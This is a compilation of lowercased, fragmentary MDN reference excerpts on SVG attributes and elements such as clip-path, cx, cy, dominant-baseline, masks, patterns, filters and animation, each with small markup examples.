... example <html> <body> <svg width="120" height="220" viewport="0 0 120 120" version="1.1" xmlns="http://www.w3.org/2000/svg"> <style type="text/css" > <![cdata[ rect.rectclass { stroke: #000066; fill: #00cc00; } circle.circleclass { stroke: #006...
...600; fill: #cc0000; } ]]> </style> <rect class="rectclass" x="10" y="10" width="100" height="100"/> <circle class="circleclass" cx="40" cy="50" r="26"/> </svg> </body> </html> elements the following elements can use the class attribute: <a> <altglyph> <circle> <clippath> <defs> <desc> <ellipse> <feblend> <fecolormatrix> <fecomponenttransfer> <fecomposite> <feconvolvematrix> <fediffuselighting> <fedisplacementmap> <feflood> <fegaussianblur> <feimage> <femerge> <femorphology> <feoffset> <fespecularlighting> <fetile> <feturbulence> <filter> <font> <foreignobject> <g> <glyph> <glyphref> <image> <line> <lineargradient> <marker> <mask> <missing-...
clip-path - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has noticeable effects mostly on the following nineteen elements: <a>, <circle>, <clippath>, <ellipse>, <g>, <glyph>, <image>, <line>, <marker>, <mask>, <path>, <pattern>, <polygon>, <polyline>, <rect>, <svg>, <symbol>, <text>, <use> html,body,svg { height:100% } <svg viewbox="0 0 20 20" xmlns="http://www.w3.org/2000/svg"> <clippath id="myclip" clippathunits="objectboundingbox"> <circle cx=".5" cy=".5" r=".5" /> </clippath> <!-- top-left: apply a custom defined clipping path --> <rect x="1" y="1" width="8" height="8" stroke="green" clip-path="url(#myclip)" /> <!-- top-right: apply a css basic shape on a fill-box geometry.
... this is the same as having a custom clipping path with a clippathunits set to objectboundingbox --> <rect x="11" y="1" width="8" height="8" stroke="green" clip-path="circle() fill-box" /> <!-- bottom-left --> <rect x="1" y="11" width="8" height="8" stroke="green" clip-path="circle() stroke-box" /> <!-- bottom-right: apply a css basic shape on a view-box geometry.
... this is the same as having a custom clipping path with a clippathunits set to userspaceonuse --> <rect x="11" y="11" width="8" height="8" stroke="green" clip-path="circle() view-box" /> </svg> usage notes value <url> | [ <basic-shape> || <geometry-box> ] | none default value none animatable yes <geometry-box> an extra information to tell how a <basic-shape> is applied to an element: fill-box indicates to use the object bounding box; stroke-box indicates to use the object bounding box extended with the stroke; view-box indicates to use the nearest svg viewport as the reference box.
cx - SVG: Scalable Vector Graphics
WebSVGAttributecx
three elements are using this attribute: <circle>, <ellipse>, and <radialgradient> html,body,svg { height:100% } <svg viewbox="0 0 300 100" xmlns="http://www.w3.org/2000/svg"> <radialgradient cx="25%" id="mygradient"> <stop offset="0" stop-color="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <circle cx="50" cy="50" r="45"/> <ellipse cx="150" cy="50" rx="45" ry="25" /> <rect x="205" y="5" width="90" height="90" fill="url(#mygradient)" /> </svg> circle for <circle>, cx defines the x-axis coordinate of the center of the shape.
... value <length> default value 50% animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 34 10" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient cx="0" id="mygradient000"> <stop offset="0%" stop-color="gold" /> <stop offset="50%" stop-color="green" /> <stop offset="100%" stop-color="white" /> </radialgradient> <radialgradient cx="50%" id="mygradient050"> <stop offset="0%" stop-color="gold" /> <stop offset="50%" stop-colo...
...r="green" /> <stop offset="100%" stop-color="white" /> </radialgradient> <radialgradient cx="100%" id="mygradient100"> <stop offset="0%" stop-color="gold" /> <stop offset="50%" stop-color="green" /> <stop offset="100%" stop-color="white" /> </radialgradient> </defs> <rect x="1" y="1" width="8" height="8" fill="url(#mygradient000)" stroke="black" /> <rect x="13" y="1" width="8" height="8" fill="url(#mygradient050)" stroke="black" /> <rect x="25" y="1" width="8" height="8" fill="url(#mygradient100)" stroke="black" /> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'cx' in that specification.
cy - SVG: Scalable Vector Graphics
WebSVGAttributecy
three elements are using this attribute: <circle>, <ellipse>, and <radialgradient> html,body,svg { height:100% } <svg viewbox="0 0 100 300" xmlns="http://www.w3.org/2000/svg"> <radialgradient cy="25%" id="mygradient"> <stop offset="0" stop-color="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <circle cy="50" cx="50" r="45"/> <ellipse cy="150" cx="50" rx="45" ry="25" /> <rect x="5" y="205" width="90" height="90" fill="url(#mygradient)" /> </svg> circle for <circle>, cy defines the y-axis coordinate of the center of the shape.
... value <length> default value 50% animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 34 10" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient cy="0" id="mygradient000"> <stop offset="0%" stop-color="gold" /> <stop offset="50%" stop-color="green" /> <stop offset="100%" stop-color="white" /> </radialgradient> <radialgradient cy="50%" id="mygradient050"> <stop offset="0%" stop-color="gold" /> <stop offset="50%" stop-colo...
...r="green" /> <stop offset="100%" stop-color="white" /> </radialgradient> <radialgradient cy="100%" id="mygradient100"> <stop offset="0%" stop-color="gold" /> <stop offset="50%" stop-color="green" /> <stop offset="100%" stop-color="white" /> </radialgradient> </defs> <rect x="1" y="1" width="8" height="8" fill="url(#mygradient000)" stroke="black" /> <rect x="13" y="1" width="8" height="8" fill="url(#mygradient050)" stroke="black" /> <rect x="25" y="1" width="8" height="8" fill="url(#mygradient100)" stroke="black" /> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'cy' in that specification.
dominant-baseline - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it only has effect on the text content elements, including: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } text { font: bold 14px verdana, helvetica, arial, sans-serif; } <svg viewbox="0 0 200 120" xmlns="http://www.w3.org/2000/svg"> <path d="m20,20 l180,20 m20,50 l180,50 m20,80 l180,80" stroke="grey" /> <text dominant-baseline="baseline" x="30" y="20">baseline</text> <text dominant-baseline="middle" x="30" y="50">middle</text> <text dominant-baseline="hanging" x="30" y="80">hanging</text> </svg> usage notes value auto | text-bottom | alphabetic...
... example svg <svg width="400" height="300" viewbox="0 0 300 300" xmlns="http://www.w3.org/2000/svg"> <!-- materialization of anchors --> <path d="m60,20 l60,270 m30,20 l400,20 m30,70 l400,70 m30,120 l400,120 m30,170 l400,170 m30,220 l400,220 m30,270 l400,270" stroke="grey" /> <!-- anchors in action --> <text dominant-baseline="auto" x="70"...
... y="20">auto</text> <text dominant-baseline="middle" x="70" y="70">middle</text> <text dominant-baseline="baseline" x="70" y="120">baseline</text> <text dominant-baseline="hanging" x="70" y="170">hanging</text> <text dominant-baseline="mathematical" x="70" y="220">mathematical</text> <text dominant-baseline="text-top" x="70" y="270">text-top</text> <!-- materialization of anchors --> <circle cx="60" cy="20" r="3" fill="red" /> <circle cx="60" cy="70" r="3" fill="red" /> <circle cx="60" cy="120" r="3" fill="red" /> <circle cx="60" cy="170" r="3" fill="red" /> <circle cx="60" cy="220" r="3" fill="red" /> <circle cx="60" cy="270" r="3" fill="red" /> <style><![cdata[ text { font: bold 30px verdana, helvetica, arial, sans-serif; } ]]></style> </svg...
dx - SVG: Scalable Vector Graphics
WebSVGAttributedx
seven elements are using this attribute: <altglyph>, <fedropshadow>, <feoffset>, <glyphref>, <text>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- lines materialized the position of the glyphs --> <line x1="0" x2="100%" y1="50%" y2="50%" /> <line x1="10%" x2="10%" y1="0" y2="100%" /> <line x1="60%" x2="60%" y1="0" y2="100%" /> <!-- some reference text --> <text x="10%" y="50%" fill="grey">svg</text> <!-- the same text with a shift along the x-axis --> <text dx="50%" x="10%" y="50%">svg</text> </svg> line { stroke: red; stroke-width: .5px; stroke-dasharray: 3px; } altglyph warning: a...
... value list of <length> default value none animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- lines materialized the position of the glyphs --> <line x1="0" x2="100%" y1="25%" y2="25%" /> <line x1="0" x2="100%" y1="50%" y2="50%" /> <line x1="0" x2="100%" y1="75%" y2="75%" /> <line x1="10%" x2="10%" y1="0" y2="100%" /> <line x1="30%" x2="30%" y1="0" y2="100%" /> <line x1="60%" x2="60%" y1="0" y2="100%" /> <!-- ...
...behaviors change based on the number of values in the attributes --> <text dx="20%" x="10%" y="25%">svg</text> <text dx="0 10%" x="10%" y="50%">svg</text> <text dx="0 10% 20%" x="10%" y="75%">svg</text> </svg> line { stroke: red; stroke-width: .5px; stroke-dasharray: 3px; } tref warning: as of svg2 <tref> is deprecated and shouldn't be used.
dy - SVG: Scalable Vector Graphics
WebSVGAttributedy
seven elements utilize this attribute: <altglyph>, <fedropshadow>, <feoffset>, <glyphref>, <text>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- lines materialized the position of the glyphs --> <line x1="10%" x2="10%" y1="0" y2="100%" /> <line x1="0" x2="100%" y1="30%" y2="30%" /> <line x1="0" x2="100%" y1="80%" y2="80%" /> <!-- some reference text --> <text x="10%" y="30%" fill="grey">svg</text> <!-- the same text with a shift along the y-axis --> <text dy="50%" x="10%" y="30%">svg</text> </svg> line { stroke: red; stroke-width: .5px; stroke-dasharray: 3px; } altglyph warning:...
... value list of <length> default value none animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 150 100" xmlns="http://www.w3.org/2000/svg"> <!-- horizontal lines --> <line x1="0" x2="100%" y1="30" y2="30" /> <line x1="0" x2="100%" y1="40" y2="40" /> <line x1="0" x2="100%" y1="50" y2="50" /> <line x1="0" x2="100%" y1="60" y2="60" /> <!-- vertical lines --> <line x1="10" x2="10" y1="0" y2="100%" /> <line x1="50" x2="50" y1="0" y2="100%" /> <line x1="90" x2="90" y1="0" y...
...2="100%" /> <!-- behaviors change based on the number of values in the attributes --> <text dy="20" x="10" y="30">svg</text> <text dy="0 10" x="50" y="30">svg</text> <text dy="0 10 20" x="90" y="30">svg</text> </svg> line { stroke: red; stroke-width: .5px; stroke-dasharray: 3px; } tref warning: as of svg2 <tref> is deprecated and shouldn't be used.
externalResourcesRequired - SVG: Scalable Vector Graphics
in particular, if an element sets externalresourcesrequired="true", then all style sheets must be available since any style sheet might affect the rendering of that element.
... because setting externalresourcesrequired="true" on a container element will have the effect of disabling progressive display of the contents of that container, if that container includes elements that reference external resources, authors should avoid simply setting externalresourcesrequired="true" on the outermost <svg> element on a universal basis.
... instead, it is better to specify externalresourcesrequired="true" on those particular graphics elements or container elements which specifically need the availability of external resources in order to render properly.
font-size-adjust - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg width="600" height="80" viewbox="0 0 500 80" xmlns="http://www.w3.org/2000/svg"> <text y="20" font-family="times, serif" font-size="10px"> this text uses the times font (10px), which is hard to read in small sizes.
... </text> <text y="40" font-family="verdana, sans-serif" font-size="10px"> this text uses the verdana font (10px), which has relatively large lowercase letters.
... </text> <text y="60" font-family="times, serif" font-size="10px" font-size-adjust="0.58"> this is the 10px times, but now adjusted to the same aspect ratio as the verdana.
fr - SVG: Scalable Vector Graphics
WebSVGAttributefr
only one element is using this attribute: <radialgradient> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient1" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> <radialgradient id="gradient2" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="25%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> </defs> <circle cx="100" cy="100" r="100" fill="url(#gradient1)" /> <circle cx="100" cy="100" r="100"...
... fill="url(#gradient2)" style="transform: translatex(240px);" /> </svg> usage notes value <length> default value 0 animatable none example <svg viewbox="0 0 120 120" width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="red"/> <stop offset="100%" stop-color="blue"/> </radialgradient> </defs> <rect x="10" y="10" rx="15" ry="15" width="100" height="100" fill="url(#gradient)" stroke="black" stroke-width="2"/> <circle cx="60" cy="60" r="50" fill="transparent" stroke="white" stroke-width="2"/> <circle cx="35" cy="35" r="2" fill="white" stroke="white"/> <circle cx="60" cy="6...
...0" r="2" fill="white" stroke="white"/> <text x="38" y="40" fill="white" font-family="sans-serif" font-size="10pt">(fx,fy)</text> <text x="63" y="63" fill="white" font-family="sans-serif" font-size="10pt">(cx,cy)</text> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'fr' in that specification.
keySplines - SVG: Scalable Vector Graphics
four elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="10" r="10"> <animate attributename="cx" dur="4s" calcmode="spline" repeatcount="indefinite" values="60 ; 110 ; 60 ; 10 ; 60" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1" keysplines="0.5 0 0.5 1 ; 0.5 0 0.5 1 ; 0.5 0 0.5 1 ; 0.5 0 0.5 1"/> <animate attributename="cy" dur="4s" calcmode="spline" repeatcount="indefi...
...nite" values="10 ; 60 ; 110 ; 60 ; 10" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1" keysplines="0.5 0 0.5 1 ; 0.5 0 0.5 1 ; 0.5 0 0.5 1 ; 0.5 0 0.5 1"/> </circle> </svg> usage notes value <control-point> [ ; <control-point> ]* ;?
...the keytimes values that define the associated segment are the bézier "anchor points", and the keysplines values are the control points.
maskContentUnits - SVG: Scalable Vector Graphics
only one element is using this attribute: <mask> html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <mask id="mymask1" maskcontentunits="userspaceonuse"> <rect fill="black" x="0" y="0" width="100%" height="100%" /> <circle fill="white" cx="50" cy="50" r="35" /> </mask> <mask id="mymask2" maskcontentunits="objectboundingbox"> <rect fill="black" x="0" y="0" width="100%" height="100%" /> <circle fill="white" cx=".5" cy=".5" r=".35" /> </mask> <!-- some reference rect to materialized the mask --> <rect id="r1" x="0" y="0" width="45" height="45" /> <rect id="r2" x="0" y="55" width="45" height="45" /...
...> <rect id="r3" x="55" y="55" width="45" height="45" /> <rect id="r4" x="55" y="0" width="45" height="45" /> <!-- the first 3 rect are masked with usespaceonuse units --> <use mask="url(#mymask1)" xlink:href="#r1" fill="red" /> <use mask="url(#mymask1)" xlink:href="#r2" fill="red" /> <use mask="url(#mymask1)" xlink:href="#r3" fill="red" /> <!-- the last rect is masked with objectboundingbox units --> <use mask="url(#mymask2)" xlink:href="#r4" fill="red" /> </svg> mask for <mask>, maskcontentunits defines the coordinate system in use for the content of the element.
...a bounding box could be considered the same as if the content of the <mask> were bound to a "0 0 1 1" viewbox.
maskUnits - SVG: Scalable Vector Graphics
only one element is using this attribute: <mask> html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <mask id="mymask1" maskunits="userspaceonuse" x="20%" y="20%" width="60%" height="60%"> <rect fill="black" x="0" y="0" width="100%" height="100%" /> <circle fill="white" cx="50" cy="50" r="35" /> </mask> <mask id="mymask2" maskunits="objectboundingbox" x="20%" y="20%" width="60%" height="60%"> <rect fill="black" x="0" y="0" width="100%" height="100%" /> <circle fill="white" cx="50" cy="50" r="35" /> </mask> <!-- some reference rect to materialized the mask --> <rect id="r1" x="0" ...
... y="0" width="45" height="45" /> <rect id="r2" x="0" y="55" width="45" height="45" /> <rect id="r3" x="55" y="55" width="45" height="45" /> <rect id="r4" x="55" y="0" width="45" height="45" /> <!-- the first 3 rect are masked with usespaceonuse units --> <use mask="url(#mymask1)" xlink:href="#r1" fill="red" /> <use mask="url(#mymask1)" xlink:href="#r2" fill="red" /> <use mask="url(#mymask1)" xlink:href="#r3" fill="red" /> <!-- the last rect is masked with objectboundingbox units --> <use mask="url(#mymask2)" xlink:href="#r4" fill="red" /> </svg> mask for <mask>, maskunits defines the coordinate system in use for the geometry attributes (x, y, width and height) of the element.
...a bounding box could be considered the same as if the content of the <mask> were bound to a "0 0 1 1" viewbox.
numOctaves - SVG: Scalable Vector Graphics
only one element is using this attribute: <feturbulence> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="noise1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" numoctaves="1" /> </filter> <filter id="noise2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" numoctaves="3" /> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#noise1);" /> <rect ...
...x="0" y="0" width="200" height="200" style="filter: url(#noise2); transform: translatex(220px);" /> </svg> usage notes value <integer> default value 1 animatable yes <integer> defines the number of octaves.
... example <svg width="200" height="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence basefrequency="0.05" numoctaves="3" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of 'numoctaves' in that specification.
patternUnits - SVG: Scalable Vector Graphics
only one element is using this attribute: <pattern> html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!-- all geometry properties are relative to the current user space --> <pattern id="p1" x="12.5" y="12.5" width="25" height="25" patternunits="userspaceonuse"> <circle cx="10" cy="10" r="10" /> </pattern> <!-- all geometry properties are relative to the target bounding box --> <pattern id="p2" x=".125" y=".125" width=".25" height=".25" patternunits="objectboundingbox"> <circle cx="10" cy="10" r="10" /> </pattern> <!-- left square with user space tiles --> <rect x="10" y=...
..."10" width="80" height="80" fill="url(#p1)" /> <!-- right square with bounding box tiles --> <rect x="110" y="10" width="80" height="80" fill="url(#p2)" /> </svg> pattern for <pattern>, patternunits defines the coordinate system in use for the geometry properties (x, y, width and height) of the element.
...a bounding box could be considered the same as if the content of the <mask> were bound to a "0 0 1 1" viewbox.
pointer-events - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- the circle will always intercept the mouse event.
... to change the color of the rect underneath you have to click outside the circle --> <rect x="0" y="0" height="10" width="10" fill="black" /> <circle cx="5" cy="5" r="4" fill="white" pointer-events="visiblepoint" /> <!-- the circle below will never catch a mouse event.
... the rect underneath will change color whether you are clicking on the circle or the rect itself --> <rect x="10" y="0" height="10" width="10" fill="black" /> <circle cx="15" cy="5" r="4" fill="white" pointer-events="none" /> </svg> window.addeventlistener('mouseup', (e) => { // let's pick a random color between #000000 and #ffffff const color = math.round(math.random() * 0xffffff) // let's format the color to fit css requirements const fill = '#' + color.tostring(16).padstart(6,'0') // let's apply our color in the // element we actually clicked on e.target.style.fill = fill }) as a presentation attribute, it can be applied to any element but it is mostly relevant only on the following twenty-three elements: <a>, <circle>, <clippath>, <defs>, <ellips...
points - SVG: Scalable Vector Graphics
WebSVGAttributepoints
two elements are using this attribute: <polyline>, and <polygon> html,body,svg { height:100% } <svg viewbox="-10 -10 220 120" xmlns="http://www.w3.org/2000/svg"> <!-- polyline is an open shape --> <polyline stroke="black" fill="none" points="50,0 21,90 98,35 2,35 79,90"/> <!-- polygon is a closed shape --> <polygon stroke="black" fill="none" transform="translate(100,0)" points="50,0 21,90 98,35 2,35 79,90"/> <!-- it is usualy considered best practices to separate a x and y coordinate with a comma and a group of coordinates b...
... value [ <number>+ ]# default value none animatable yes example html,body,svg { height:100% } <svg viewbox="-10 -10 120 120" xmlns="http://www.w3.org/2000/svg"> <!-- polyline is an open shape --> <polyline stroke="black" fill="none" points="50,0 21,90 98,35 2,35 79,90"/> </svg> polygon for <polygon>, points defines a list of points, each representing a vertex of the shape to be drawn.
... value [ <number>+ ]# default value none animatable yes example html,body,svg { height:100% } <svg viewbox="-10 -10 120 120" xmlns="http://www.w3.org/2000/svg"> <!-- polygon is an closed shape --> <polygon stroke="black" fill="none" points="50,0 21,90 98,35 2,35 79,90" /> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'points' in that specification.
rotate - SVG: Scalable Vector Graphics
WebSVGAttributerotate
examples svg <svg width="400" height="120" viewbox="0 0 480 120" xmlns="http://www.w3.org/2000/svg"> <!-- draw the outline of the motion path in grey --> <path d="m10,110 a120,120 -45 0,1 110 10 a120,120 -45 0,1 10,110" stroke="lightgrey" stroke-width="2" fill="none" id="themotionpath"/> <!-- red arrow which will not rotate --> <path fill="red" d="m-5,-5 l10,0 -5,5 0,0 z"> <!-- define the mo...
...tion path animation --> <animatemotion dur="6s" repeatcount="indefinite" rotate="0"> <mpath href="#themotionpath"/> </animatemotion> </path> <g transform="translate(100, 0)"> <use href="#themotionpath"/> <!-- green arrow which will rotate along the motion path --> <path fill="green" d="m-5,-5 l10,0 -5,5 0,0 z"> <!-- define the motion path animation --> <animatemotion dur="6s" repeatcount="indefinite" rotate="auto"> <mpath href="#themotionpath"/> </animatemotion> </path> </g> <g transform="translate(200, 0)"> <use href="#themotionpath"/> <!-- blue arrow which will rotate backwards along the motion path --> <path fill="blue" d="m-5,-5 l10,0 -5,5 0,0 z"> <!-- define the motion path animation --> <animatemotion dur="6s" rep...
...eatcount="indefinite" rotate="auto-reverse"> <mpath href="#themotionpath"/> </animatemotion> </path> </g> <g transform="translate(300, 0)"> <use href="#themotionpath"/> <!-- purple arrow which will have a static rotation of 210 degrees --> <path fill="purple" d="m-5,-5 l10,0 -5,5 0,0 z"> <!-- define the motion path animation --> <animatemotion dur="6s" repeatcount="indefinite" rotate="210"> <mpath href="#themotionpath"/> </animatemotion> </path> </g> </svg> result specifications specification status comment svg animations level 2the definition of 'rotate' in that specification.
stroke-miterlimit - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following nine elements: <altglyph>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 38 30" xmlns="http://www.w3.org/2000/svg"> <!-- impact of the default miter limit --> <path stroke="black" fill="none" stroke-linejoin="miter" id="p1" d="m1,9 l7 ,-3 l7 ,3 m2,0 l3.5 ,-3 l3.5 ,3 m2,0 l2 ,-3 l2 ,3 m2,0 l0.75,-3 l0.75,3 m2,0 l0.5 ,-3 l0.5 ,3" /> <!-- impact of the smallest miter limit (1) --> <path stroke="black...
..." fill="none" stroke-linejoin="miter" stroke-miterlimit="1" id="p2" d="m1,19 l7 ,-3 l7 ,3 m2, 0 l3.5 ,-3 l3.5 ,3 m2, 0 l2 ,-3 l2 ,3 m2, 0 l0.75,-3 l0.75,3 m2, 0 l0.5 ,-3 l0.5 ,3" /> <!-- impact of a large miter limit (8) --> <path stroke="black" fill="none" stroke-linejoin="miter" stroke-miterlimit="8" id="p3" d="m1,29 l7 ,-3 l7 ,3 m2, 0 l3.5 ,-3 l3.5 ,3 m2, 0 l2 ,-3 l2 ,3 m2, 0 l0.75,-3 l0.75,3 m2, 0 l0.5 ,-3 l0.5 ,3" /> <!-- the following pink lines highlight the position of the path for each stroke --> <path stroke="pink" fill="none" stroke-width="0.05" d="m1, 9 l7,-3 l7,3 m2,0 l3.5,-3 l3.5,3 m2,0 l2,-3 l2,3 m2,0 l0.75,-3 l0.75,3 m2,0 l...
...0.5,-3 l0.5,3 m1,19 l7,-3 l7,3 m2,0 l3.5,-3 l3.5,3 m2,0 l2,-3 l2,3 m2,0 l0.75,-3 l0.75,3 m2,0 l0.5,-3 l0.5,3 m1,29 l7,-3 l7,3 m2,0 l3.5,-3 l3.5,3 m2,0 l2,-3 l2,3 m2,0 l0.75,-3 l0.75,3 m2,0 l0.5,-3 l0.5,3" /> </svg> when two line segments meet at a sharp angle and miter joins have been specified for stroke-linejoin, it is possible for the miter to extend far beyond the thickness of the line stroking the path.
visibility - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following nineteen elements: <a>, <altglyph>, <audio>, <canvas>, <circle>, <ellipse>, <foreignobject>, <iframe>, <image>, <line>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, <tspan>, <video> html, body, svg { height: 100%; } <svg viewbox="0 0 220 120" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="200" height="100" stroke="black" stroke-width="5" fill="transparent" /> <g stroke="seagreen" stroke-width="5" fill="skyblue"> <rect x="20" y="20" width="80" height="80" visibility="visible" /> <rect x="120" y="20" width="80" height="80" visibility="hidden"/> </g> </svg> usage notes value ...
... html <button id="nav-toggle-button" > <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewbox="0 0 24 24" class="button-icon"> <path d="m16.59 8.59l12 13.17 7.41 8.59 6 10l6 6 6-6z" /> <path d="m12 8l-6 6 1.41 1.41l12 10.83l4.59 4.58l18 14z" class="invisible" /> <path d="m0 0h24v24h0z" fill="none" /> </svg> <span> click me </span> </button> css svg { display: inline !im...
...portant; } span { vertical-align: 50%; } button { line-height: 1em; } .invisible { visibility: hidden; } javascript document.queryselector("button").addeventlistener("click", function (evt) { this.queryselector("svg > path:nth-of-type(1)").classlist.toggle("invisible"); this.queryselector("svg > path:nth-of-type(2)").classlist.toggle("invisible"); }); specifications specification status comment css level 2 (revision 1)the definition of 'visibility' in that specification.
<feConvolveMatrix> - SVG: Scalable Vector Graphics
the basic convolution formula which is applied to each color value for a given pixel is: colorx,y = ( sum i=0 to [ordery-1] { sum j=0 to [orderx-1] { source x-targetx+j, y-targety+i * kernelmatrixorderx-j-1, ordery-i-1 } } ) / divisor + bias * alphax,y where "orderx" and "ordery" represent the x and y values for the ‘order’ attribute, "targetx" represents the value of the ‘targetx’ attribute, "targety" represents the value of the ‘targety’ attribute, "kernelmatrix" represents the value of the ‘kernelmatrix’ attribute, "divisor" represents the value of the ‘divisor’ attribute, and "bias" represents the value of the ‘bias’ attribu...
... example svg <svg width="200" height="200" viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="emboss"> <feconvolvematrix kernelmatrix="3 0 0 0 0 0 0 0 -3"/> </filter> </defs> <image xlink:href="/files/12668/mdn.svg" x="0" y="0" height="200" width="200" style="filter:...
...url(#emboss);" /> </svg> result specifications specification status comment filter effects module level 1the definition of '<feconvolvematrix>' in that specification.
<feDiffuseLighting> - SVG: Scalable Vector Graphics
<svg width="440" height="140" xmlns="http://www.w3.org/2000/svg"> <!-- no light is applied --> <text text-anchor="middle" x="60" y="22">no light</text> <circle cx="60" cy="80" r="50" fill="green" /> <!-- the light source is a fepointlight element --> <text text-anchor="middle" x="170" y="22">fepointlight</text> <filter id="lightme1"> <fediffuselighting in="sourcegraphic" result="light" ...
... lighting-color="white"> <fepointlight x="150" y="60" z="20" /> </fediffuselighting> <fecomposite in="sourcegraphic" in2="light" operator="arithmetic" k1="1" k2="0" k3="0" k4="0"/> </filter> <circle cx="170" cy="80" r="50" fill="green" filter="url(#lightme1)" /> <!-- the light source is a fedistantlight element --> <text text-anchor="middle" x="280" y="22">fedistantlight</text> <filter id="lightme2"> <fediffuselighting in="sourcegraphic" result="light" lighting-color="white"> <fedistantlight azimuth="240" elevation="20"/> </fediffuselighting> <fecomposite in="sourcegraphic" in2="light" operator="arithmetic" k1="1" k2="0" k3="0" k4="0"/> </filter> <circle cx="280" cy="80" r="50" fill="green" ...
... filter="url(#lightme2)" /> <!-- the light source is a fespotlight source --> <text text-anchor="middle" x="390" y="22">fespotlight</text> <filter id="lightme3"> <fediffuselighting in="sourcegraphic" result="light" lighting-color="white"> <fespotlight x="360" y="5" z="30" limitingconeangle="20" pointsatx="390" pointsaty="80" pointsatz="0"/> </fediffuselighting> <fecomposite in="sourcegraphic" in2="light" operator="arithmetic" k1="1" k2="0" k3="0" k4="0"/> </filter> <circle cx="390" cy="80" r="50" fill="green" filter="url(#lightme3)" /> </svg> expected rendering: live rendering: specifications specification status comment filter effects module level 1the definition of '<f...
<mpath> - SVG: Scalable Vector Graphics
WebSVGElementmpath
example svg <svg width="100%" height="100%" viewbox="0 0 500 300" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" > <rect x="1" y="1" width="498" height="298" fill="none" stroke="blue" stroke-width="2" /> <!-- draw the outline of the motion path in blue, along with three small circles at the start, middle and end.
... --> <path id="path1" d="m100,250 c 100,50 400,50 400,250" fill="none" stroke="blue" stroke-width="7.06" /> <circle cx="100" cy="250" r="17.64" fill="blue" /> <circle cx="250" cy="100" r="17.64" fill="blue" /> <circle cx="400" cy="250" r="17.64" fill="blue" /> <!-- here is a triangle which will be moved about the motion path.
...--> <path d="m-25,-12.5 l25,-12.5 l 0,-87.5 z" fill="yellow" stroke="red" stroke-width="7.06" > <!-- define the motion path animation --> <animatemotion dur="6s" repeatcount="indefinite" rotate="auto" > <mpath xlink:href="#path1"/> </animatemotion> </path> </svg> result specifications specification status comment svg animations level 2the definition of '<mpath>' in that specification.
<solidcolor> - SVG: Scalable Vector Graphics
example svg <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 300 200" height="150"> <defs> <!-- solidcolor is experimental.
... --> <solidcolor id="mycolor" solid-color="gold" solid-opacity="0.8"/> <!-- lineargradient with a single color stop is a less elegant way to achieve the same effect, but it works in current browsers.
